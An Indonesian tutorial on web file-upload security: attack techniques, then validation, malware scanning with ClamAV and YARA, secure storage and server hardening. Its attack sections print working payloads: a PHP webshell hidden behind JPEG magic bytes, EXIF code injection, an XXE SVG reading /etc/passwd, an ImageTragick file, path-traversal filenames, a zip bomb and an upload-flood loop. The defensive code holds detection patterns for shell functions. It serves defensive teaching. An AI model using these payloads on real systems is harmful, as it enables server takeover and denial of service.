Cybersecurity

File Upload Security: Panduan Lengkap Keamanan Upload File

Tutorial komprehensif tentang keamanan file upload β€” dari validasi file, malware scanning, penyimpanan aman, teknik serangan, hingga best practices untuk developer dan security engineer

1. Pengenalan File Upload Security

File Upload Security adalah salah satu aspek kritis dalam keamanan web application. Fitur upload file ditemukan di hampir semua aplikasi modern β€” dari media sosial, e-commerce, sistem manajemen dokumen, hingga platform enterprise. Namun, fitur ini juga menjadi salah satu attack vector paling berbahaya jika tidak diimplementasikan dengan benar.

Menurut laporan OWASP, Unrestricted File Upload masuk dalam kategori kerentanan yang paling sering dieksploitasi. Serangan melalui file upload dapat mengakibatkan Remote Code Execution (RCE), di mana attacker dapat mengambil alih seluruh server, mengakses database, mencuri data sensitif, atau bahkan menggunakan server sebagai pivot point untuk menyerang sistem lain.

Mengapa File Upload Berbahaya?

Risiko Dampak Severity
Remote Code ExecutionAttacker dapat menjalankan perintah di serverCritical
Cross-Site Scripting (XSS)Script malicious dieksekusi di browser korbanHigh
Server-Side Request ForgeryServer dimanfaatkan untuk mengakses resource internalHigh
Denial of Service (DoS)Server kehabisan disk space atau resourceMedium
Malware DistributionServer digunakan untuk mendistribusikan malwareHigh
Data ExfiltrationData sensitif dapat dibocorkan melalui file yang diuploadCritical
Path TraversalFile ditulis ke lokasi yang tidak semestinya di serverHigh
⚠️ Peringatan

Tutorial ini ditujukan untuk edukasi keamanan. Gunakan pengetahuan ini untuk mempertahankan sistem, bukan untuk menyerang. Akses tanpa izin terhadap sistem komputer adalah kejahatan siber yang melanggar UU ITE di Indonesia.

Diagram: Attack Flow File Upload
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              FILE UPLOAD ATTACK FLOW                            β”‚
β”‚                                                                β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚ Attacker │──▢│  Upload   │──▢│  Server   │──▢│ Execute β”‚ β”‚
β”‚  β”‚          β”‚   β”‚  Maliciousβ”‚   β”‚  Process   β”‚   β”‚ Payload β”‚ β”‚
β”‚  β”‚ β€’ Shell  β”‚   β”‚  File     β”‚   β”‚  File     β”‚   β”‚         β”‚ β”‚
β”‚  β”‚ β€’ Exploitβ”‚   β”‚           β”‚   β”‚           β”‚   β”‚ β€’ RCE   β”‚ β”‚
β”‚  β”‚ β€’ XSS    β”‚   β”‚ β€’ PHP     β”‚   β”‚ β€’ Simpan  β”‚   β”‚ β€’ XSS   β”‚ β”‚
β”‚  β”‚   Payloadβ”‚   β”‚ β€’ JSP     β”‚   β”‚ β€’ Eksekusiβ”‚   β”‚ β€’ Defaceβ”‚ β”‚
β”‚  β”‚          β”‚   β”‚ β€’ ASPX    β”‚   β”‚ β€’ Serve   β”‚   β”‚ β€’ Pivot β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚                                                                β”‚
β”‚  Mitigation Layers:                                            β”‚
β”‚  1. Client-side validation  (bisa di-bypass)                   β”‚
β”‚  2. Server-side validation  (WAJIB)                            β”‚
β”‚  3. Content-type checking   (insufficient jika sendiri)        β”‚
β”‚  4. File signature checking (lebih baik)                       β”‚
β”‚  5. Malware scanning        (terbaik)                          β”‚
β”‚  6. Isolated storage        (defense in depth)                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

2. Teknik Serangan File Upload

Memahami teknik serangan adalah langkah pertama untuk membangun pertahanan yang efektif. Berikut adalah berbagai metode yang digunakan attacker untuk mengeksploitasi fitur file upload.

2.1 Extension Bypass

Salah satu teknik paling sederhana adalah mengganti ekstensi file. Banyak aplikasi hanya memeriksa ekstensi file tanpa memvalidasi isi file sesungguhnya.

Bypass Techniques β€” Extension Manipulation
# ===== EXTENSION BYPASS TECHNIQUES =====

# 1. Double Extension
# Upload file dengan double extension
shell.php.jpg          # Beberapa server menjalankan .php
shell.php.png          # Jika Apache misconfigure
shell.php%00.jpg       # Null byte injection (PHP < 5.3.4)

# 2. Case Sensitivity
shell.pHp              # Bypass filter yang case-sensitive
shell.PhP              # Variasi case
shell.PHP              # Uppercase

# 3. Alternative PHP Extensions
shell.php3             # PHP3 handler
shell.php4             # PHP4 handler
shell.php5             # PHP5 handler
shell.phtml            # PHTML handler
shell.pht              # PHT handler
shell.phar             # PHAR archive
shell.inc              # Include file

# 4. Alternative ASP Extensions
shell.asp              # Classic ASP
shell.asa              # ASA
shell.cer              # Certificate (IIS lama)
shell.cdx              # CDX
shell.aspx             # ASP.NET
shell.ashx             # ASP.NET Handler
shell.asmx             # ASP.NET Web Service
shell.cshtml           # Razor

# 5. Alternative JSP Extensions
shell.jsp              # Java Server Pages
shell.jspx             # JSP XML
shell.jsw              # JSP Wrapper
shell.jsv              # JSP Variant
shell.war              # Web Archive

# 6. Null Byte Injection (PHP < 5.3.4, Java)
shell.php%00.jpg       # Null byte terminates string
shell.php\x00.jpg      # Hex null byte
shell.php%00.png       # Null byte with PNG

# 7. Special Characters
shell.php.             # Trailing dot (Windows)
shell.php              # Trailing space (Windows)
shell.php::$DATA       # NTFS Alternate Data Stream
shell.php%20           # URL-encoded space
shell.php%0a           # Newline character

2.2 Content-Type Bypass

Banyak developer hanya memeriksa Content-Type header yang dikirim client, padahal header ini sangat mudah dipalsukan.

Bypass β€” Content-Type Manipulation
# ===== CONTENT-TYPE BYPASS =====

# Content-Type yang dikirim client BISA dipalsukan!
# Server yang hanya cek Content-Type sangat rentan

# Menggunakan curl untuk bypass Content-Type
# Upload PHP shell dengan Content-Type image/png
curl -X POST https://target.com/upload \
  -F "file=@shell.php;type=image/png" \
  -F "submit=Upload"

# Menggunakan Burp Suite:
# 1. Intercept upload request
# 2. Ubah Content-Type header dari application/octet-stream
#    menjadi image/png atau image/jpeg
# 3. Forward request

# Content-Type yang sering di-allow:
# image/jpeg        β†’ gambar JPEG
# image/png         β†’ gambar PNG
# image/gif         β†’ gambar GIF
# image/webp        β†’ gambar WebP
# application/pdf   β†’ dokumen PDF
# text/plain        β†’ teks biasa

# ===== MAGIC BYPASS =====
# File PHP dengan magic bytes gambar JPEG
# Tambahkan header JPEG di awal file PHP:
# \xFF\xD8\xFF\xE0 (JPEG magic bytes)
# diikuti dengan kode PHP

# Contoh file dengan header palsu:
# \xFF\xD8\xFF\xE0\x00\x10JFIF<?php system($_GET['cmd']); ?>

# Karena PHP hanya mengeksekusi antara tag <?php ... ?>,
# magic bytes JPEG dianggap sebagai output biasa

2.3 Image-based Attacks

Serangan β€” Image-based Exploits
# ===== IMAGE-BASED ATTACKS =====

# 1. EXIF DATA INJECTION
# Sisipkan kode PHP ke metadata EXIF gambar
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
# Jika server menjalankan include() pada file, kode bisa dieksekusi

# 2. POLYGLOT FILES
# File yang valid sebagai gambar DAN sebagai script
# Tools: PolyGlot, gififi
# Contoh: GIF89a yang juga valid sebagai PHP

# 3. SVG XSS
# SVG adalah file XML yang bisa berisi JavaScript
cat <<'EOF' > malicious.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS via SVG')</script>
</svg>
EOF

# SVG SSRF (Server-Side Request Forgery)
cat <<'EOF' > ssrf.svg
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
EOF

# 4. PIXEL FLOOD / DECOMPRESSION BOMB
# Gambar dengan dimensi sangat besar di header
# namun file size sangat kecil
# Contoh: 1x1 pixel tapi header bilang 65535x65535
# Akibat: server habiskan memory untuk alokasi buffer

# 5. IMAGEMAGICK EXPLOIT (ImageTragick CVE-2016-3714)
# Exploit kelemahan ImageMagick untuk RCE
cat <<'EOF' > exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
EOF

2.4 Path Traversal via Upload

Serangan β€” Path Traversal
# ===== PATH TRAVERSAL VIA UPLOAD =====

# Manipulasi nama file untuk menulis ke direktori lain

# 1. Basic Path Traversal
# Filename: ../../../etc/cron.d/backdoor
# File ditulis ke direktori sistem

# 2. Filename yang dikirim via multipart form
Content-Disposition: form-data; name="file"; filename="../../../etc/passwd"

# 3. URL-encoded traversal
Content-Disposition: form-data; name="file"; filename="..%2F..%2F..%2Fetc%2Fpasswd"

# 4. Double-encoded traversal
Content-Disposition: form-data; name="file"; filename="..%252F..%252Fetc%252Fpasswd"

# 5. Null byte untuk memotong nama file
Content-Disposition: form-data; name="file"; filename="../../../etc/passwd%00.jpg"

# 6. Overwrite file sensitif
# Target: .htaccess, web.config, robots.txt
# Upload file .htaccess yang merubah konfigurasi Apache

# .htaccess malicious content:
AddType application/x-httpd-php .jpg
# Sekarang semua file .jpg dieksekusi sebagai PHP!

2.5 Denial of Service via Upload

Serangan β€” DoS via File Upload
# ===== DENIAL OF SERVICE VIA UPLOAD =====

# 1. DISK SPACE EXHAUSTION
# Upload file sangat besar berulang kali
# Target: menghabiskan disk space server

# 2. ZIP BOMB (Decompression Bomb)
# File ZIP kecil yang mengekstrak ke ukuran sangat besar
# Contoh: 42.zip (42 KB β†’ 4.5 PB saat diekstrak)
# Tools: buat ZIP bomb dengan rekursi

# ZIP bomb sederhana:
dd if=/dev/zero bs=1M count=1000 | zip bomb.zip -
# Upload file ini, server coba proses = crash

# 3. RESOURCE EXHAUSTION
# Upload banyak file sekaligus (flood)
for i in {1..10000}; do
    curl -X POST https://target.com/upload \
      -F "file=@large_file.bin" &
done

# 4. INFINITE LOOP FILES
# File GIF animasi dengan infinite loop
# Server coba render = CPU exhaustion

# 5. XML BOMB (Billion Laughs Attack) via SVG upload
# SVG yang mengandung entity expansion
cat <<'EOF' > bomb.svg
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<svg><text>&lol4;</text></svg>
EOF

3. Validasi File yang Aman

Validasi file adalah lini pertahanan pertama dan paling penting. Validasi yang baik harus dilakukan di server-side dan menggunakan multiple layers pemeriksaan.

3.1 Whitelist Ekstensi

Python β€” File Extension Validation
# ===== FILE EXTENSION VALIDATION (Python/Flask) =====

import os
from werkzeug.utils import secure_filename

# ALLOWLIST (bukan blocklist!) β€” Lebih aman menggunakan whitelist
ALLOWED_EXTENSIONS = {
    'image': {'jpg', 'jpeg', 'png', 'gif', 'webp'},
    'document': {'pdf', 'docx', 'xlsx', 'pptx'},
    'archive': {'zip', 'tar.gz'}
}

# Blocklist TIDAK efektif karena terlalu banyak ekstensi berbahaya
# JANGAN gunakan:
BLOCKLIST_BAD = {'php', 'php3', 'php5', 'phtml', 'asp', 'aspx', 'jsp'}
# Ini TIDAK lengkap dan bisa di-bypass!

def allowed_file(filename, allowed_types=None):
    """Validasi file menggunakan whitelist ekstensi"""
    # 1. Secure filename (hapus path traversal chars)
    filename = secure_filename(filename)
    
    # 2. Cek apakah ada ekstensi
    if '.' not in filename:
        return False, "File harus memiliki ekstensi"
    
    # 3. Ambil ekstensi (lowercase)
    ext = filename.rsplit('.', 1)[1].lower()
    
    # 4. Cek terhadap whitelist
    all_allowed = set()
    for file_type in (allowed_types or ALLOWED_EXTENSIONS.keys()):
        all_allowed.update(ALLOWED_EXTENSIONS.get(file_type, set()))
    
    if ext not in all_allowed:
        return False, f"Ekstensi .{ext} tidak diizinkan"
    
    return True, "OK"

def get_safe_filename(original_filename, upload_dir):
    """Generate nama file yang aman"""
    # 1. Secure original filename
    safe_name = secure_filename(original_filename)
    
    # 2. Generate unique name (hindari overwrite)
    import uuid
    ext = safe_name.rsplit('.', 1)[1].lower() if '.' in safe_name else 'bin'
    unique_name = f"{uuid.uuid4().hex}.{ext}"
    
    # 3. Pastikan path tidak keluar dari upload directory
    target_path = os.path.join(upload_dir, unique_name)
    real_upload = os.path.realpath(upload_dir)
    real_target = os.path.realpath(target_path)
    
    if not real_target.startswith(real_upload):
        raise ValueError("Path traversal detected!")
    
    return unique_name, target_path

# ===== USAGE EXAMPLE =====
# from flask import Flask, request, jsonify
#
# @app.route('/upload', methods=['POST'])
# def upload_file():
#     file = request.files.get('file')
#     if not file or not file.filename:
#         return jsonify({'error': 'No file'}), 400
#
#     # Validasi ekstensi
#     allowed, msg = allowed_file(file.filename, ['image'])
#     if not allowed:
#         return jsonify({'error': msg}), 400
#
#     # Generate nama aman
#     safe_name, target = get_safe_filename(
#         file.filename, app.config['UPLOAD_DIR']
#     )
#     file.save(target)
#     return jsonify({'filename': safe_name}), 201

3.2 Magic Number / File Signature Validation

Python β€” Magic Number Validation
# ===== MAGIC NUMBER / FILE SIGNATURE VALIDATION =====

# Magic number adalah byte pertama dari file yang mengidentifikasi
# tipe file. Ini JAUH lebih dapat diandalkan daripada ekstensi.

import struct
import imghdr
import io

# Database magic numbers untuk tipe file umum
MAGIC_NUMBERS = {
    b'\xFF\xD8\xFF': 'image/jpeg',
    b'\x89PNG\r\n\x1a\n': 'image/png',
    b'GIF87a': 'image/gif',
    b'GIF89a': 'image/gif',
    b'RIFF': 'image/webp',       # Perlu cek lebih lanjut
    b'%PDF': 'application/pdf',
    b'PK\x03\x04': 'application/zip',
    b'\x1f\x8b': 'application/gzip',
    b'BM': 'image/bmp',
    b'\x00\x00\x01\x00': 'image/x-icon',
    b'II\x2a\x00': 'image/tiff',  # Little-endian
    b'MM\x00\x2a': 'image/tiff',  # Big-endian
}

def validate_magic_number(file_data, expected_type=None):
    """Validasi tipe file berdasarkan magic number"""
    if isinstance(file_data, str):
        # Jika string, baca file
        with open(file_data, 'rb') as f:
            file_data = f.read(32)
    
    detected_type = None
    for magic, mime_type in MAGIC_NUMBERS.items():
        if file_data[:len(magic)] == magic:
            detected_type = mime_type
            break
    
    if detected_type is None:
        return False, f"Tipe file tidak dikenali"
    
    if expected_type and detected_type != expected_type:
        return False, f"Tipe file tidak sesuai. Expected: {expected_type}, Got: {detected_type}"
    
    return True, detected_type

def validate_image_deep(file_data):
    """Validasi mendalam untuk file gambar"""
    try:
        img = Image.open(io.BytesIO(file_data))
        img.verify()  # Verifikasi integritas gambar
        
        # Buka ulang setelah verify (verify menutup file)
        img = Image.open(io.BytesIO(file_data))
        
        # Cek dimensi wajar
        width, height = img.size
        if width > 10000 or height > 10000:
            return False, "Dimensi gambar terlalu besar"
        
        # Cek format
        if img.format.lower() not in ('jpeg', 'png', 'gif', 'webp'):
            return False, f"Format gambar tidak diizinkan: {img.format}"
        
        return True, f"Valid {img.format} {width}x{height}"
    except Exception as e:
        return False, f"File bukan gambar valid: {str(e)}"

# ===== COMPREHENSIVE VALIDATION PIPELINE =====
from PIL import Image

def validate_upload_comprehensive(file_stream, max_size_mb=5, allowed_types=None):
    """Pipeline validasi lengkap"""
    errors = []
    
    # 1. Baca file data
    file_data = file_stream.read()
    file_stream.seek(0)  # Reset stream
    
    # 2. Cek ukuran
    max_bytes = max_size_mb * 1024 * 1024
    if len(file_data) > max_bytes:
        errors.append(f"File terlalu besar: {len(file_data)} bytes (max: {max_bytes})")
    if len(file_data) == 0:
        errors.append("File kosong")
    
    # 3. Cek magic number
    magic_ok, magic_type = validate_magic_number(file_data)
    if not magic_ok:
        errors.append(f"Magic number tidak valid: {magic_type}")
    
    # 4. Cek untuk embedded script dalam file gambar
    dangerous_patterns = [
        b'<?php', b'<?=', b'<script', b'<%',
        b'<%@', b'<asp', b'eval(', b'exec(',
        b'system(', b'passthru(', b'shell_exec(',
    ]
    for pattern in dangerous_patterns:
        if pattern in file_data.lower():
            errors.append(f"File mengandung pola berbahaya: {pattern.decode()}")
    
    # 5. Jika gambar, validasi mendalam
    if magic_type and magic_type.startswith('image/'):
        img_ok, img_msg = validate_image_deep(file_data)
        if not img_ok:
            errors.append(f"Validasi gambar gagal: {img_msg}")
    
    if errors:
        return False, errors
    return True, [f"Valid: {magic_type} ({len(file_data)} bytes)"]

3.3 Filename Sanitization

Multi-Language β€” Filename Sanitization
# ===== FILENAME SANITIZATION =====

# ---- Python ----
import re
import unicodedata
import uuid

def sanitize_filename(filename):
    """Sanitize filename untuk mencegah serangan"""
    # 1. Normalize unicode characters
    filename = unicodedata.normalize('NFKD', filename)
    
    # 2. Hapus karakter non-ASCII
    filename = filename.encode('ascii', 'ignore').decode('ascii')
    
    # 3. Hapus path components
    filename = filename.split('/')[-1].split('\\')[-1]
    
    # 4. Hapus karakter berbahaya
    filename = re.sub(r'[^\w\s\-.]', '', filename)
    
    # 5. Hapus spasi berlebih
    filename = re.sub(r'\s+', '_', filename.strip())
    
    # 6. Batasi panjang
    if len(filename) > 255:
        name, ext = filename.rsplit('.', 1)
        filename = name[:250] + '.' + ext
    
    # 7. Pastikan tidak kosong
    if not filename or filename.startswith('.'):
        filename = f"file_{uuid.uuid4().hex[:8]}"
    
    return filename

# ---- Node.js ----
# const path = require('path');
# const crypto = require('crypto');
#
# function sanitizeFilename(filename) {
#     // Hapus path traversal
#     filename = path.basename(filename);
#
#     // Hapus karakter berbahaya
#     filename = filename.replace(/[^a-zA-Z0-9._-]/g, '_');
#
#     // Generate unique prefix
#     const unique = crypto.randomBytes(8).toString('hex');
#     const ext = path.extname(filename).toLowerCase();
#
#     return `${unique}${ext}`;
# }

# ---- PHP ----
# function sanitizeFilename(string $filename): string {
#     // Hapus path components
#     $filename = basename($filename);
#
#     // Hapus karakter berbahaya
#     $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
#
#     // Generate unique name
#     $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
#     $unique = bin2hex(random_bytes(8));
#
#     return $unique . '.' . $ext;
# }

4. Malware & Content Scanning

Validasi ekstensi dan magic number saja tidak cukup. File yang tampak valid bisa saja mengandung malware, exploit, atau payload tersembunyi. Oleh karena itu, scanning file adalah lapisan pertahanan tambahan yang sangat penting.

4.1 ClamAV Integration

Python β€” ClamAV Scanner Integration
# ===== CLAMAV INTEGRATION =====

# ClamAV adalah antivirus open source yang populer untuk server

# Instalasi ClamAV:
# sudo apt install clamav clamav-daemon
# sudo freshclam  # Update virus database
# sudo systemctl start clamav-daemon

import clamd
import tempfile
import os

class ClamAVScanner:
    def __init__(self, host='localhost', port=3310):
        self.cd = clamd.ClamdUnixSocket()
        # Atau gunakan TCP:
        # self.cd = clamd.ClamdNetworkSocket(host, port)
    
    def scan_file(self, file_data, filename='unknown'):
        """Scan file data menggunakan ClamAV"""
        try:
            # Tulis ke temporary file
            with tempfile.NamedTemporaryFile(delete=False, suffix='.tmp') as tmp:
                tmp.write(file_data)
                tmp_path = tmp.name
            
            # Scan file
            result = self.cd.scan(tmp_path)
            
            # Cleanup
            os.unlink(tmp_path)
            
            if result:
                status = result[tmp_path]
                if status[0] == 'FOUND':
                    return {
                        'clean': False,
                        'threat': status[1],
                        'filename': filename
                    }
            
            return {'clean': True, 'filename': filename}
            
        except Exception as e:
            return {'clean': None, 'error': str(e), 'filename': filename}
    
    def scan_stream(self, file_stream, filename='unknown'):
        """Scan langsung dari stream"""
        file_data = file_stream.read()
        file_stream.seek(0)
        return self.scan_file(file_data, filename)

# ===== USAGE =====
# scanner = ClamAVScanner()
# result = scanner.scan_file(file_data, 'user_photo.jpg')
#
# if not result['clean']:
#     print(f"MALWARE DETECTED: {result['threat']}")
#     # Log incident, block user, notify admin
# elif result['clean'] is None:
#     print(f"SCAN ERROR: {result['error']}")
#     # Deny upload sebagai precaution

4.2 YARA Rules untuk Content Detection

YARA β€” Custom Rules untuk File Upload
# ===== YARA RULES UNTUK FILE UPLOAD SECURITY =====
# Simpan sebagai upload_rules.yar

rule PHP_Webshell_Generic {
    meta:
        description = "Deteksi PHP webshell generik"
        severity = "critical"
    strings:
        $php_open = "<?php" nocase
        $php_short = "<?=" nocase
        $func1 = "system(" nocase
        $func2 = "exec(" nocase
        $func3 = "passthru(" nocase
        $func4 = "shell_exec(" nocase
        $func5 = "eval(" nocase
        $func6 = "base64_decode(" nocase
        $func7 = "assert(" nocase
        $func8 = "preg_replace(" nocase
        $func9 = "create_function(" nocase
        $func10 = "proc_open(" nocase
    condition:
        ($php_open or $php_short) and 2 of ($func*)
}

rule Suspicious_Image_With_Code {
    meta:
        description = "Gambar yang mengandung kode executable"
        severity = "high"
    strings:
        $jpg = { FF D8 FF }
        $png = { 89 50 4E 47 }
        $gif = { 47 49 46 38 }
        $php1 = "<?php" nocase
        $php2 = "<?=" nocase
        $asp1 = "<%" ascii
        $jsp1 = "<%@" ascii
        $script = "<script" nocase
    condition:
        ($jpg at 0 or $png at 0 or $gif at 0) and
        any of ($php*, $asp*, $jsp*, $script)
}

rule Double_Extension_File {
    meta:
        description = "File dengan double extension mencurigakan"
        severity = "medium"
    strings:
        $a = /\.php\.\w{2,4}$/ nocase
        $b = /\.asp\.\w{2,4}$/ nocase
        $c = /\.jsp\.\w{2,4}$/ nocase
    condition:
        any of them
}

rule HTA_Application {
    meta:
        description = "HTA file yang bisa dieksekusi"
        severity = "high"
    strings:
        $hta = "<HTA:APPLICATION" nocase
        $script = "<script" nocase
    condition:
        $hta and $script
}

# ===== SCAN DENGAN YARA (Python) =====
# pip install yara-python

import yara

def scan_with_yara(file_data, rules_path='upload_rules.yar'):
    """Scan file menggunakan YARA rules"""
    rules = yara.compile(filepath=rules_path)
    matches = rules.match(data=file_data)
    
    if matches:
        return {
            'clean': False,
            'matches': [
                {
                    'rule': m.rule,
                    'severity': m.meta.get('severity', 'unknown'),
                    'description': m.meta.get('description', ''),
                    'strings': [str(s) for s in m.strings]
                }
                for m in matches
            ]
        }
    return {'clean': True}

5. Penyimpanan File yang Aman

Cara file disimpan sama pentingnya dengan cara file divalidasi. Penyimpanan yang salah dapat mengakibatkan file dapat dieksekusi langsung oleh web server.

5.1 Prinsip Penyimpanan Aman

Prinsip Penjelasan Implementasi
Terpisah dari Web RootSimpan file di luar document root web server/data/uploads/ bukan /var/www/html/uploads/
Random NamesGunakan UUID/Random untuk nama filea3f2b1c4d5e6.jpg bukan user_photo.jpg
Non-executableSet permission agar file tidak bisa dieksekusichmod 644, noexec mount
Encrypted StorageEnkripsi file di storage untuk data sensitifAES-256 encryption at rest
Dedicated DomainServe file dari domain terpisahcdn.example.com bukan example.com
Architecture β€” Secure File Storage
# ===== SECURE FILE STORAGE ARCHITECTURE =====

# STRUKTUR DIREKTORI YANG AMAN:
#
# /var/www/html/          ← Web Root (document root)
# β”œβ”€β”€ index.html
# β”œβ”€β”€ app.js
# └── static/
#
# /data/uploads/          ← Upload Directory (DI LUAR web root)
# β”œβ”€β”€ images/
# β”‚   β”œβ”€β”€ a3f2b1c4.jpg   ← Nama acak
# β”‚   └── d5e6f7a8.png
# β”œβ”€β”€ documents/
# β”‚   β”œβ”€β”€ b9c0d1e2.pdf
# β”‚   └── f3a4b5c6.docx
# └── temp/               ← Temporary staging area
#     └── (file sementara, auto-cleanup)

# ===== SERVING FILES SECURELY =====

# JANGAN serve file langsung dari upload directory!
# Gunakan application controller untuk serve file

# ---- Python/Flask Example ----
# from flask import send_file, abort
# import os
#
# @app.route('/files/<file_id>')
# def serve_file(file_id):
#     # 1. Lookup file_id di database (bukan filename asli!)
#     file_record = db.get_file(file_id)
#     if not file_record:
#         abort(404)
#
#     # 2. Cek authorization
#     if not current_user.can_access(file_record):
#         abort(403)
#
#     # 3. Build safe path
#     file_path = os.path.join(
#         app.config['UPLOAD_DIR'],
#         file_record['stored_name']
#     )
#
#     # 4. Verify path masih dalam upload dir
#     real_path = os.path.realpath(file_path)
#     if not real_path.startswith(os.path.realpath(app.config['UPLOAD_DIR'])):
#         abort(403)
#
#     # 5. Serve dengan Content-Disposition attachment
#     return send_file(
#         real_path,
#         mimetype=file_record['mime_type'],
#         as_attachment=True,  # Force download
#         download_name=file_record['original_name']
#     )

# ===== NGINX SECURE SERVING =====
# Jika menggunakan Nginx sebagai reverse proxy:

# Simpan di /etc/nginx/conf.d/secure-uploads.conf
# location /uploads/ {
#     # Disable script execution
#     location ~* \.(php|phtml|php3|php5|asp|aspx|jsp|cgi)$ {
#         deny all;
#         return 403;
#     }
#
#     # Set headers keamanan
#     add_header X-Content-Type-Options "nosniff";
#     add_header Content-Security-Policy "default-src 'none'";
#
#     # Force download (jangan render inline)
#     add_header Content-Disposition "attachment";
#
#     # Disable directory listing
#     autoindex off;
# }

5.2 Cloud Storage Security

AWS S3 β€” Secure File Upload
# ===== AWS S3 SECURE UPLOAD =====

import boto3
from botocore.exceptions import ClientError
import uuid
import hashlib

class SecureS3Uploader:
    def __init__(self, bucket_name, region='ap-southeast-1'):
        self.s3 = boto3.client('s3', region_name=region)
        self.bucket = bucket_name
    
    def upload_file(self, file_data, original_filename, content_type):
        """Upload file ke S3 dengan keamanan"""
        
        # 1. Generate unique filename
        ext = original_filename.rsplit('.', 1)[-1].lower()
        safe_name = f"{uuid.uuid4().hex}.{ext}"
        
        # 2. Calculate checksum
        md5_hash = hashlib.md5(file_data).hexdigest()
        
        # 3. Upload dengan metadata
        try:
            self.s3.put_object(
                Bucket=self.bucket,
                Key=f"uploads/{safe_name}",
                Body=file_data,
                ContentType=content_type,
                # 4. Disable public access
                ACL='private',
                # 5. Add metadata
                Metadata={
                    'original-name': original_filename,
                    'md5': md5_hash,
                    'scan-status': 'pending'
                },
                # 6. Server-side encryption
                ServerSideEncryption='AES256',
                # 7. Set cache control
                CacheControl='no-cache, no-store'
            )
            
            return {
                'success': True,
                'key': f"uploads/{safe_name}",
                'md5': md5_hash
            }
            
        except ClientError as e:
            return {'success': False, 'error': str(e)}
    
    def generate_presigned_url(self, key, expiration=3600):
        """Generate presigned URL untuk download (temporary)"""
        try:
            url = self.s3.generate_presigned_url(
                'get_object',
                Params={
                    'Bucket': self.bucket,
                    'Key': key,
                    'ResponseContentDisposition': 'attachment'
                },
                ExpiresIn=expiration
            )
            return url
        except ClientError as e:
            return None

# ===== S3 BUCKET POLICY =====
# Pastikan bucket TIDAK public:
# {
#     "Version": "2012-10-17",
#     "Statement": [
#         {
#             "Sid": "DenyPublicAccess",
#             "Effect": "Deny",
#             "Principal": "*",
#             "Action": "s3:GetObject",
#             "Resource": "arn:aws:s3:::your-bucket/uploads/*",
#             "Condition": {
#                 "StringEquals": {
#                     "s3:ExistingObjectTag/access": "private"
#                 }
#             }
#         }
#     ]
# }

6. Konfigurasi Server

Konfigurasi web server yang tepat sangat penting untuk mencegah eksekusi file upload yang berbahaya.

Apache & Nginx β€” Hardening Upload Directory
# ===== APACHE HARDENING =====

# .htaccess di direktori upload (/var/www/html/uploads/.htaccess)

# 1. Matikan engine PHP di direktori upload
php_flag engine off

# 2. Matikan eksekusi script
<FilesMatch "\.(php|php3|php4|php5|phtml|pht|phar|phps|inc)$">
    Require all denied
    # Atau: Deny from all (Apache 2.2)
</FilesMatch>

# 3. Matikan eksekusi CGI
Options -ExecCGI

# 4. Force download untuk semua file
<FilesMatch "\.">
    ForceType application/octet-stream
    Header set Content-Disposition attachment
</FilesMatch>

# 5. Hapus handler spesifik
RemoveHandler .php .phtml .php3 .php4 .php5 .inc
RemoveType .php .phtml .php3 .php4 .php5 .inc

# ===== NGINX HARDENING =====

# /etc/nginx/snippets/secure-upload.conf

# Blokir eksekusi script di direktori upload
location /uploads/ {
    # Disable PHP dan script execution
    location ~ \.php$ {
        return 403;
    }
    
    # Disable semua script
    location ~* \.(php|phtml|php3|php5|asp|aspx|jsp|cgi|pl|py|sh|bash)$ {
        return 403;
    }
    
    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Content-Security-Policy "default-src 'none'" always;
    
    # Force attachment download
    add_header Content-Disposition "attachment" always;
    
    # Disable directory listing
    autoindex off;
    
    # Limit request size
    client_max_body_size 10M;
}

# ===== PHP HARDENING (php.ini) =====

# upload_max_filesize = 10M      # Batas ukuran upload
# post_max_size = 12M            # Sedikit lebih besar dari upload
# max_file_uploads = 5           # Batas jumlah file per request
# upload_tmp_dir = /tmp/php_upload  # Direktori temporary
#
# disable_functions = exec,passthru,shell_exec,system,
#   proc_open,popen,curl_multi_exec,parse_ini_file,show_source
#
# open_basedir = /var/www/html:/tmp/php_upload  # Batasi akses file
